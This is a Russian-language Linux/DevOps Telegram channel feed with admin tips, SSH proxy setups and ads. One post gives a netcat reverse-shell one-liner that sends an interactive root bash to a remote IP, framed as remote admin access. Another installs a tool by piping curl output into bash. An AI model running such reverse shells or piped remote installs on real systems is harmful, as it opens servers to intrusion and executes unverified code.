Линукс и DevOps Дни
2.13K subscribers
108 photos
8 videos
194 links
Самобытно про разработку, devops, linux, скрипты, тестирование, сисадминство, техдирство, пиэмство и за айтишную жизу.
Download Telegram
Всем привет!
14 июля Selectel организует атмосферный летний ИТ-фестиваль Selectel Day Off🔥
О чем?
Тема мероприятия — ностальгия по будущему🤪
Выступят спикеры из Циана, Realiste, Сбера, Альфа-Банка, Яндекса 360, SETTERS EDUCATION и МГУ.

Темы докладов:

— Платформы данных и как они будут развиваться в будущем.Обсудим эволюцию паттернов в обработке данных, тренды в индустрии и то, как платформа данных устроена в Циане.

— Квантовые вычисления. Обсудим экспериментальный прогресс в области создания квантовых процессоров, а также порассуждаем о потенциале их применения в задачах ИИ.

— ИИ-разработки в недвижимости. Рассмотрим, какие есть проблемы у самого большого рынка в мире по объему активов и как они решаются с помощью ИИ.

— Креативность решений от нейросетей. Вы узнаете, какие задачи типичного сотрудника сможет взять на себя ИИ. Обсудим, будут ли нейросети помогать закрывать задачи, связанные с креативными решениями.

— Поговорим про технические сообщества и многое другое.

А еще в рамках фестиваля в...
ДА или НЕТ? Давай разберемся!

Запускай:

cd /tmp
touch bashdays.txt
rm -i bashdays.txt


Получаем интерактивный запрос:

rm: remove regular empty file 'test.txt'?


Выбор зависит от потребности. Либо да, либо нет. Но что вводить? Очевидно же — y или n.

Справедливо. Но что если… Запускаем:

locale -k noexpr yesexpr


Выхлоп:

noexpr="^[-0nNНн]"  
yesexpr="^[+1yYДд]"


Это все возможные варианты, которыми ты можешь воспользоваться. Если вместо «y» ты введешь знак «+» — файл удалится.

Аналогично можно ввести 0 или 1. Либо «Д» или «Н».

Не везде из коробки прописаны такие регулярки, например на англоязычной убунте хуй с маслом.

noexpr="^[nN]"
yesexpr="^[yY]"


Функция оценивающая ответ пользователя, учитывает локализацию.

Для подтверждения, или отмены может быть использован любой символ в квадратных скобках из вывода вышеприведённой команды.

А любой символ не совпадающий с символами из набора yesexpr будет равносилен отмене, в том числе и пустой ввод.

Как на это можно повлиять?

Всё это забиндино в файлах которые лежат в папке: /usr/share/i18n/locales

Например, в файле ru_RU есть такое:

LC_MESSAGES
yesexpr "^[+1yY<U0414><U0434>]"
noexpr "^[-0nN<U041D><U043D>]"
yesstr "<U0434><U0430>"
nostr "<U043D><U0435><U0442>"
END LC_MESSAGES


Тут присутствует как раз «0» и «1» / «+» и «-».

Если хочется упороться, можешь собрать свою локаль и добавить свои символы в регулярку:

cp /usr/share/i18n/locales/ru_RU ~/my_ru_RU
localedef -f UTF-8 -i ~/my_ru_RU ru_RU.UTF-8


После первой команды, нужно отредактировать файл ~/my_ru_RU и затем запускать вторую команду.

Такие вот перлы и приколы. Изучай.

👉 Многие этого ждали, завтра закину анонс про личное наставничество и обучение в рамках проекта Linux Factory.

tags: #linux

🔔
Ну вот и пришло время…

TL;DR если хочешь в девопс, я тебя научу


Привет. В личку регулярно заходят наши подписчики и интересуются наставничеством, обучением и т.п.

Ладно, чо тянуть, закроем вопрос.

Встречаем Linux Factory!

1.08 выпускаю кракена. Но кракен будет для маленьких. Матёрые заскучают, но кто знает…

Курс пилить я ебал, поэтому покажу протоптанные дорожки и основы. И если ты ими правильно воспользуешься — слава тебе и почет + 100500 денег в секунду.

Живописнее и подробнее можешь ознакомиться тут, всё утро красоту наводил 🥳

Чтобы стать частью прекрасного, подавай заявку через бота и я отвечу на все твои вопросы.

Программа: https://bashdays.ru/intro/
Контакты:

👇👇👇
Привет. Сегодня нассым в чайник.

А если конкретнее, рассмотрим более подробно команду man

Это с виду она дохуя скучная, на деле там всё по полочкам.

Man содержит разделы от 1 до 9 + дополнительные (n, l, p). В дополнительные разделы входят всё то, что по каким-то причинам не попало в первые 9.

Все это дело сконфигурировано в файле: /etc/manpath.config, в него можно не смотреть, там хуйня какая-то непонятная для не подготовленного человека.

Ну дак вот. В каждом man разделе, есть страница intro. То бишь «вступление», которое описывает что содержит раздел.

Давай тыкать палкой.

Ставим пакет:

apt install manpages-dev


Запускаем:

man 1 intro


Выведется список с содержимым 1го раздела:

- Login
- The shell
- Pathnames and the current directory
- Directories
- Disks and filesystems

и т.п.


Теперь пройдемся по разделам:

1. Справка по стандартным командам (программы и утилиты). Это самый огромный раздел в справочной системе. Глаза разбегутся. Но есть лайкфак, можно воспользоваться поиском.

man -k copy


Выведется ограниченный список команд и утилит, которые содержат слово «copy»

cp (1) - copy files and directories
cpgr (8) - copy with locking the given file
cpio (1) - copy files to and from archives
cppw (8) - copy with locking the given file
dd (1) - convert and copy a file


В скобках выводится цифра раздела, в котором была найдена справка. А дальше можно сделать например так:

man 8 cppw


Херак и ты получил желаемое. С поиском намного удобнее и приятнее работать.

2. Раздел содержит описание системных вызовов. В этом разделе можно найти понимание этих ваших линуксов. Например, смотрим справку по mkdir.

man 2 mkdir


Кончаем и получаем список системных вызовов с которыми работает mkdir.

3. Раздел с библиотечными функциями. Тут больше для программистов.

4. Описание файлов-устройств расположенные в /dev

5. Описание форматов файлов. Конфигурационные файлы приложений и их синтаксис. Например, синтаксис файла теневых паролей.

man 5 login.defs


Чтиво весьма занятное. Именно в этом файле задаются «SYS_UID_MAX», «SYS_UID_MIN». Это диапазон UID, который будет присвоен пользователю, при использовании утилит «useradd» или «newusers» когда, ты добавляешь нового пользователя.

6. Раздел игр.

7. Описание стандартов и соглашений. Например, последовательность загрузки ОС.

man 7 boot


или параметры ядра при загрузке:

man 7 bootparam


или шаблоны имён файлов:

man 7 glob


8. Команды для системного администрирования. Например, информация о портах/сокетах:

man 8 netstat


монтирование устройств:

man 8 mount


отображение информации о дисках и их настройка:

man 8 hdparm


9. Функции ядра. В большинстве случаев этот раздел отсутствует в современных дистрибутивах. Раздел не является стандартом. Если нужно узнать про функции ядра, тут только поиск через man -k <ключевое слово>.

Так же ты можешь встретить разделы n, l, p, но опять-же они не всегда присутствуют, все зависит от того, какой софт ты ставил себе на машину.

Ну и закончим эту простыню вишенкой. Для этой команды нужны Иксы.

apt install man-db groff
man -H bash


Страница со справкой Bash будет отформатирована в «html» формате и открыта в браузере по умолчанию.

Без Иксов просто сформируется «html» файл в папке tmp, у меня он появился тут: /tmp/hmanU3yORv/bash.html

Ладно, изучай. Увидимся завтра!

PS: Все кто подал заявки на вписку в Linux factory, все ок. Как только решу вопросы с эквайрингом Тибанка (бекенд у них отвалился), всем напишу. Терпения вам и мне дорогие подписчики. Всех обнял!


tags: #linux #bash

🔔
Отвлекитесь от экрана — оторвитесь на ИТ-пикнике 17 августа

У фестиваля больше 17-ти ИТ-партнеров. Вас ждут воркшопы, лекции от спикеров известных компаний, нетворкинг, выступления топовых музыкантов и даже детская зона. Будут TRITIA, Дайте танк (!), Драгни, Найк Борзов, Нееет, ты что и еще один секретный хедлайнер. Вы же не пропустите такое событие?

Успейте зарегистрироваться

erid:2Vtzqv3t6N5
Реклама. АО "Тинькофф Банк", ИНН 7710140679, лицензия ЦБ РФ № 2673
Новый бесплатный курс об информационной безопасности🔒

В Академии Selectel рассказываем, с помощью каких инструментов защищаться от киберугроз. Внутри курса — инструкции по настройке средств защиты, советы по их использованию и интересные задачи для проверки знаний.

В рамках курса вы:
🔹 проверите защищенность вашего сервиса,
🔹 узнаете о распространенных атаках полным перебором и о методах противодействия им,
🔹 ознакомитесь с ИБ-инструментами на реальных примерах.

Переходите в Академию Selectel (ссылка), чтобы начать изучение курса прямо сейчас ➡️ https://slc.tl/0cih1

Реклама АО «Селектел». ИНН: 7810962785
Erid: 2VtzqxWGe9f
Нижний Новгород, встречаемся 24 июля на IT Talk by Sber!

Мы проведём технологический митап для всех IT-support специалистов и экспертов надёжности. Поговорим об инженерных процессах, улучшении качества IT-поддержки и автоматизации работы с помощью программных решений.

Спикеры и темы ⤵️

✔️ Дмитрий Цуканов, руководитель команды сопровождения SmartContact — «Отказ от Legacy-стандартов. Как мы строили свой SRE?»

✔️ Молчанов Василий, ведущий инженер по сопровождению, Баюсова Ирина, исполнительный директор — «ML OPS: как мы используем ML для улучшения систем мониторинга?»

✔️ Руслан Насимов, руководитель Центра управления сетью Сбера — «Как управлять сетью крупнейшей компании?»

✔️ Наталья Ерютова, корпоративный тренер Сбера — «Управление собой для IT-шников».

Адрес: co-working Garage, г. Нижний Новгород, Октябрьская, 35.

Регистрируйтесь и приходите 24 июля в 18:00!
Magic SysRq в Linux

Чо эт такое? Ооо брат, это комбинация клавиш которая позволяет выполнять низкоуровневые команды независимо от состояния системы.

Тема достаточно полезная, прочитай, пригодится.

Ядро реагирует на такие команды моментально, независимо от того, что оно делает в данный момент. При условии, что само ядро не заблокировано.

Чтобы послать ядру Magic SysRq, нужно нажать ALT+SysRq+key.

А где взять клавишу SysRq? На современных клавиатурах это клавиша PrintScreen.

А какой key нажимать в конце? Ну например:

+b - немедленная перезагрузка системы
+o - выключение системы
+s - синхронизация всех файловых систем
+u - перемонтирование файловых систем в read only
+r - возвращение управления с клавиатуры X-сервера к консоли
+k - завершение всех процессов на текущей консоли

В моем случае, чтобы послать эту комбинацию клавиш в Virtualbox, мне пришлось нажать — Правый ALT+PrintScreen+h.

После нажатия этой комбинации, в терминале выводится справка по доступным командам SysRq.

После вывода справки, смотрим логи ядра:

dmesg -tk | grep -m1 '^sysrq: HELP :'


и видим, что ядро триггернулось и записало в журнал:

sysrq: HELP : loglevel(0-9) reboot(b) crash(c) terminate-all-tasks(e) memory-full-oom-kill(f) kill-all-tasks(i) thaw-filesystems(j) sak(k) show-backtrace-all-active-cpus(l) show-memory-usage(m) nice-all-RT-tasks(n) poweroff(o) show-registers(p) show-all-timers(q) unraw(r) sync(s) show-task-states(t) unmount(u) force-fb(v) show-blocked-tasks(w) dump-ftrace-buffer(z)


Грубо говоря, если система встала раком и не отвечает, можешь ребутнуть её магическими клавишами: ALT+SysRq+b.

Ну либо поиграться с read only на проде.

В официальной доке, этот функционал шикарно расписан, прям рекомендую почитать, хоть и с переводчиком.

Изучай...

PS: А если у меня нет клавиши PrintScreen? Ну значит, не судьба!


tags: #linux

🔔
Хочешь войти в мир DevOps, но не знаешь с чего начать? 🚀

Приглашаем тебя на бесплатный курс по Git – идеальный старт для начинающих!

Git - это основной инструмент для DevOps и разработчиков, без которого невозможно представить современную работу.

🔸 Что ты получишь за 10 занятий и 2 недели?

🔧 Понимание базовых терминов: репозиторий, коммит, пулл-реквест, мердж-конфликт.
🔧 Навык внесения изменений в удаленный репозиторий.
🔧 Умение создавать пулл-реквесты и работать с ними.
🔧 Решение мердж-конфликтов.
🔧 Навык отката изменений.
🔧 Уверенность в работе с Git.
Этот курс поможет тебе уверенно шагнуть в мир DevOps и разработки! 🖥

📌 Узнать больше и записаться можно в канале DevOps фабрики.



Реклама. ООО Байкалтим, ИНН: 3851008933, erid: 2VtzqvWY7zi
Ёпта! Работа над Linux Factory идет полным ходом, всем кто принес мне свой емейл в бота, все котики и записаны.

Кому я еще не ответил — отвечу, ничо не потерялось. Я тут в одну харю ща всё разгребаю и отбиваюсь от менеджеров тибанка с помощью их же разработки — автоответчика Олега.

В начале следующей неделе буду рассылать инвайты в закрытый канал, ну и инструкции чо каво делать.

✔️ Так, теперь по сегодняшней теме — Awk и пасхальное яйцо.

Если запустить:

awk --nostalgia


Всё нахуй упадет с ошибкой — awk: bailing out near line 1 Aborted

nostalgia это не документированная опция, которая была добавлена в версии 2.11 beta и сопровождалось странным комментарием:

undocumented feature, inspired by nostalgia, and a T-shirt


Чо за херня?

Ранние версии awk аварийно завершались при различных эксепшенах выводя подобную ошибку. Утилиту отладили, но осталась — ностальгия. Но кто знает, возможно это ключ к ответу на главный вопрос жизни.

Еще из интересного. Gawk использует GNUтое расширение предоставляемое функциями разбора аргументов командной строки. При активации этого расширения доступен специальный синтаксис -W long_option.

awk -Wnos
awk -Wcopy


Эти команды аналогичны:

awk --nostalgia
awk --copyright


Странное конечно поведение учитывая содержимое этого поста.

Ну да ладно, хуй с ним. Чо только не придумают…

Хороших тебе предстоящих выходных и береги себя.

Кстати кто сегодня винду обновил и получил синьку, самое быстрое решение опубликовал Дима в полезняшках. Репостить не буду, кому надо сами сходите посмотрите.


Ааа еще забыл, Tagd Tagd написал нам две пиздатых статьи, на днях выложу. Спасибо Tagd Tagd с меня бонусы!

tags: #linux #bash

🔔
Мир DevOps состоит из непрерывного обучения и совершенствования навыков. Новичкам часто приходится тратить много времени на поиск качественных и полезных материалов. Чтобы помочь, коллеги из решили поделиться рекомендациями ⭐️

В подборку вошли материалы для углубления знаний и улучшения практических навыков в DevOps: книги, плейлисты, каналы и курсы. Переходите по ссылке, чтобы ознакомиться, а потом подписывайтесь на их канал. Там каждый день выходят топовые IT-материалы в удобном формате.

Реклама АО «Селектел». ИНН: 7810962785
Erid: 2VtzqwPKueJ
Такс, всем желающим вводные разослал, проверяйте.

А мы уже начали с ребятами потихоньку преисполняться.

Кто не успел вписаться в движ или проебал сообщение, проверь или напиши в бота , разрулим.

Напомню что с 1 сентября для новеньких, ценник внезапно в пару раз подрастет. Сейчас можно сказать это пилотный запуск и летние скидки.

Хорошей тебе рабочей недели 🫥
Тадам! SSH часть вторая by Tagd Tagd.

Сначала покажется что ты это читал, но это не так, контекст другой.

Сегодня мы рассмотрим как запретить пользователям добавлять свои ключи.

Если пользователь подключит свой ключ - меняй пароль, не меняй - пофигу.

БЕЗДУМНАЯ НАСТРОЙКА SSH по SSH МОЖЕТ ПРИВЕСТИ К ПОТЕРЕ КОНТРОЛЯ НАД СЕРВЕРОМ.

Чтобы минимизировать риски, я подключаюсь по ssh двумя сессиями.

В одной правлю sshd_config, другую оставляю для возможного отката при косяках, поскольку при перезапуске sshd с измененным конфигом текущие сессии сохраняются.

Наличие физического доступа к консоли - приветствуется.

sudo cp /etc/ssh/sshd_config /etc/ssh/sshd_config.2


Вы уже знаете, как настроить ключи. Они прописаны и работают!!!

Допустим в файле /etc/ssh/sshd_config

PubkeyAuthentication yes

# перед изменениями рекомендую включить парольную аутентификацию

PasswordAuthentication yes
PermitRootLogin prohibit-password


Там же есть опция AuthorizedKeysFile и обычно она закомментирована. Она указывает, где находится файл аuthorized_кeys.

делаем так:

sudo test -f /etc/ssh/authorized_keys && sudo mv /etc/ssh/authorized_keys /etc/ssh/authorized_keys.1 

sudo mkdir /etc/ssh/authorized_keys
sudo cp "/home/${USER}/.ssh/authorized_keys" "/etc/ssh/authorized_keys/${USER}"
sudo chown -R root:root /etc/ssh/authorized_keys
sudo chmod -R u=rwX,go=rX /etc/ssh/authorized_keys


в файле /etc/ssh/sshd_config

AuthorizedKeysFile /etc/ssh/authorized_keys/%u


перезапускаем sshd:

systemctl restart sshd


Всё. Будут действовать только ключи из из папки /etc/ssh/authorized_keys в файле с именем пользователя, и подключить их может только root.

После успешного подключения по ключу:

PasswordAuthentication no
systemctl restart sshd


Кстати, протестировать и посмотреть все опции sshd_config можно командой sudo sshd -T

Это так, к сведению.

tags: #linux

🔔
100% кешбэк за Kubernetes и базы данных в Selectel

Разверните свой проект в Selectel и пользуйтесь PaaS-сервисами с кешбэком. Подключите отказоустойчивые и масштабируемые кластеры Managed Kubernetes и облачных баз данных, а мы вернем бонусами 100% от суммы за первые 30 дней использования сервисов.

Selectel — ведущий российский провайдер IT-инфраструктуры с облаком собственной разработки. Лидер среди провайдеров Kubernetes и облачных баз данных, по версии CNews.

Преимущества PaaS-сервисов в Selectel:
▪️ Отказоустойчивость. Гарантируем доступность и стабильную работу сервисов за счет отказоустойчивого кластера.
▪️ Масштабируемость. У нас всегда есть ресурсы для масштабирования и роста ваших проектов.
▪️ Экосистема продуктов. 40+ сервисов для создания проектов любого масштаба и сложности.
▪️ Простое управление. Работайте с кластерами через панель, Terraform-провайдер или API.

Участвуйте в акции и верните 100% затрат на Kubernetes и базы данных. Подробные условия по ссылке: https://slc.tl/rl6wi

Рекла...
This media is not supported in your browser
VIEW IN TELEGRAM
Привет, пока я летаю, рекомендую обратить внимание на эту софтину.

✔️ goManageDocker


Это инструмент для управления docker’ом через интерфейс командной строки.

Разработан он для ленивых жоп (как я), которые в рот ебали вводить длинные консольные команды для получения желаемого.

Обычно после отпуска нахрен забываешь весь этот чудо docker синтаксис и приходится вновь лезть в интернет за мануалом — докер для чайников.


Ну дак вот GMD всю эту работу берет на себя, тыкай горячие кнопки и рули своими образами и контейнерами.

Прям мастхевная хуёвина для каких-то своих пет-прооектов. Для разработчиков прям пушка, поставил локально и не ебись с консолькой.

Ставится элементарно:

bash -c "$(curl -sLo- https://raw.githubusercontent.com/ajayd-san/gomanagedocker/main/install.sh)"


Репка тут: https://github.com/ajayd-san/gomanagedocker

tags: #utilites

🔔
Здрасти, я потихоньку прихожу в себя после всех этих поездок. К концу недели глядишь раскачаюсь и войду в привычный ритм. Ну а пока читаем пиздатые посты от Tagd Tagd 👇

Сегодня мы рассмотрим как ДЛЯ СЕБЯ запилить SOCKS VРN через ssh.

Допустим у вас есть виртуалка на зарубежном хостиге с ssh. (на pq 450р/мес.)

А вы человек добрый, почти как я, и решили поделиться счастьем с женой и детьми.

Но давать доступ к консоли страшно, вдруг что-нибудь сломают.

БЕЗДУМНАЯ НАСТРОЙКА SSH по SSH МОЖЕТ ПРИВЕСТИ К ПОТЕРЕ КОНТРОЛЯ НАД СЕРВЕРОМ.

Чтобы минимизировать риски, я подключаюсь по ssh двумя сессиями. В одной правлю sshd_config, другую оставляю для возможного отката при косяках, поскольку при перезапуске sshd с измененным конфигом текущие сессии сохраняются.

Наличие физического доступа к консоли - приветствуется.

sudo cp /etc/ssh/sshd_config /etc/ssh/sshd_config.$(date +%Y%m%d-%H%M%S)


Вы уже знаете, как настроить ключи. И они прописаны и работают!!!

Есть несколько способов безболезненно раздать vрn на свою семью. В файле /etc/ssh/sshd_config

Match User bashdays_tagd
# или Match Group proxy
MaxAuthTries 3
MaxSessions 0
PasswordAuthentication no
PermitEmptyPasswords no
PubkeyAuthentication yes
allowtcpforwarding yes
#--


sudo service sshd restart


Если иcпользуете группу — не забудьте добавить в нее пользователя:

sudo usermod -aG proxy bashdays_tagd


При параметре MaxSessions 0 будет запрещен доступ к shell и sftp. Но разрешен проброс портов.

На клиенте:

ssh -N -D 5000 bashdays_tagd.host.name


После запуска и ввода фразы ключа программа ничего не выводит, а потом, при использовании начинают сыпаться какие-то ошибки, ну и ладно. Если прервать команду, соединения в браузере разорвутся.

В firefox:

Настройки -> Настройка сети -> Параметры соединения

Ручная настройка прокси. SOCKS5. 127.0.0.1 порт 5000.

Галка — Отправлять DNS-запросы через прокси при использовании SOCKS 5
или:


ssh -N -D 192.168.1.57:5000 bashdays_tagd.host.name


Если ваш адрес 192.168.1.57 и вы, человек еще более добрый чем я, и решили поделиться VРN со всей своей локалкой (в которой сидит еще и тёща с тестем):

В настройках firefox нужно будет заменить 127.0.0.1 на 192.168.1.57

Продолжение следует...

tags: #linux

🔔
Все мы прекрасно знаем, что для переключения пользователя есть su и sudo. Но не все знают про команду runuser.

Эта команда используется в скриптах, системных процессах, крон тасках и в контексте служб которые запускаются с привилегиями рута. А самое главное не требует ввода пароля.

Пример:

runuser -u roman -- id


Ну и важно посмотреть help, чтобы жонглировать ключами. Там тебе и проброс шелла, сохранение/очистка переменных, псевдотерминалы и т.п.

В скриптах предпочтительнее использовать именно runuser чем везде пихать su.

Если у тебя нет привилегий root и нужно выполнить команду от имени другого пользователя, su для этого подходит лучше.

А чем отличается su от sudo (+ это двойное тире) я писал в этом посте.

Такие дела, изучайте…

tags: #linux

🔔
Добрый день господа и дамы. Сейчас накидаю тебе интересную темку, которую частенько используют пентестеры в своей работе.

Но темка это не только пентестерская, она вполне применима для рядовых админов и девопс инженеров. И порой я ей пользуюсь.

Многие знают Linux утилиту nc = netcat, вот с помощью нее можно подключаться к серверам у которых нет прямого айпи адреса, а есть только внутренний, либо все за NAT лежит.

Темка называется — Reverse Shell. Про неё ты тоже всяко слышал. В подробности вдаваться не будем, потыкаем на практике чтобы тебе все стало понятно.

У меня есть сервер в закрытом периметре без внешнего айпи адреса.

Нужно выдать доступ левому инженеру из мухосранска, который подключиться к этому серверу и произведет работы на сервере.

Как быть? Привязывать белый айпишник не вариант. Бастиона нет. SSH тоннели не канают. Тут-то на помощь и приходит netcat.

Просим инженера из мухосранска запустить у себя:

root:/ nc -lvnp 2288


В ответ он получает строчку вида: Listening on 0.0.0.0 2288

-l = слушать входящие соединения
-v = быть более подробным
-n = использовать IP-адреса без DNS
-p = порт

Дальше я иду на сервер, который не имеет белого айпишника и запускаю на нём:

/bin/bash -i > /dev/tcp/айпи мухосранска/2288 0<&1 2>&1


Не забываем у инженера узнать его IP, чтобы подставить инженера его в команду.

Все эти хуйни с перенаправлением 0<&1 2>&1 описывать не буду, ебаные премудрости, сто раз уже мусолили в постах. Если интересно, спроси у GPT.

А дальше… магия!

В мухосранске, там где запустили nc -lvnp 2288, произойдет такое:

Listening on 0.0.0.0 2288
Connection received on 147.45.73.123 50740
root:~#


У инженера сменится шелл с root на root и он получит доступ к нашему закрытому серверу без белого айпишника. Ну охуенно же!

Ну а дальше можно и админить всё это дело пользуясь всеми благами командной строки.

Для всего происходящего могут понадобиться рут права, поэтому сразу делаем на это погрешность.


Прошу отметить, что предоставленная здесь информация предназначена исключительно для образовательных и информационных целей. Я не призываю и не одобряю незаконные действия, и использование этой информации для незаконных целей запрещено. Читатели должны соблюдать законы своей страны и использовать свои навыки с уважением к этическим нормам и законам.


Давай, увидимся!

tags: #linux #networks #security

🔔
Друзья мои, реакции на постах с пальцами знатно всех подзаебали, давайте их котиками заменим + срущих добавим, чтобы проявлять своё животное возмущение и недоумение.

Если есть премка в телеге, размутим! жмякай 👇



Всем кто жмякнул — вы котики! 😘

Ну а кто не жмякнул, вы тоже котики 🙃
Сегодня мы рассмотрим второй способ, как запилить SOCKS через ssh.

Напишем свой крутой шелл с анимацией и ограничениями для пользователей.

Как-то видел анимацию сисек при долгом копировании, но сейчас не нашел. Может кто подскажет... Варианты анимации здесь.

sudo vim /usr/local/bin/socksshell

#!/bin/bash
trap 'echo -e "\\nWaiting session end...";exit' SIGINT SIGTERM SIGHUP SIGQUIT
printf "VPN on. Press CTRL-C for BREAK "
while :;do
for i in '> ' '>>' ' <' '<<';do
printf "\b\b$i"
sleep 3
done
done

sudo chmod 755 /usr/local/bin/socksshell


Скрипт не дает пользователю ничего делать, но своей анимацией поддерживает соединение в рабочем состоянии. Если не нравится shell на скрипте - поищите в сети Sleep Dummy Shell он на си.

В файле /etc/ssh/sshd_config

Match User bashdays_tagd
MaxAuthTries 3
MaxSessions 10
PasswordAuthentication no
PermitEmptyPasswords no
PubkeyAuthentication yes
allowtcpforwarding yes
ForceCommand /usr/local/bin/socksshell
#--


Опция ForceCommand, фактически, заменяет оболочку для ssh, если захотите заменить оболочку пользователя в глобально системе (не обязательно):

sudo usermod -s /usr/local/bin/socksshell bashdays_tagd
sudo service sshd restart


А на клиенте:

ssh -D 5000 bashdays_tagd.host.name


После запуска и ввода фразы ключа программа выводит анимацию. Если прервать команду, соединения в браузере не разорвутся, как в первом способе, а программа будет ожидать закрытия браузера!!!

В firefox Настройки -> Настройка сети -> Параметры соединения: Ручная настройка прокси. SOCKS5. 127.0.0.1 порт 5000.

+ галка Отправлять DNS-запросы через прокси при использовании SOCKS5.

или

ssh -D 192.168.1.57:5000 bashdays_tagd.host.name


Если ваш адрес 192.168.1.57 и вы человек еще более добрый чем я и решили поделиться вашем счастьем со всей своей локалкой.

В настройка firefox нужно будет заменить 127.0.0.1 на 192.168.1.57

Продолжение следует... © by Tagd Tagd

tags: #linux #networks #bash

🔔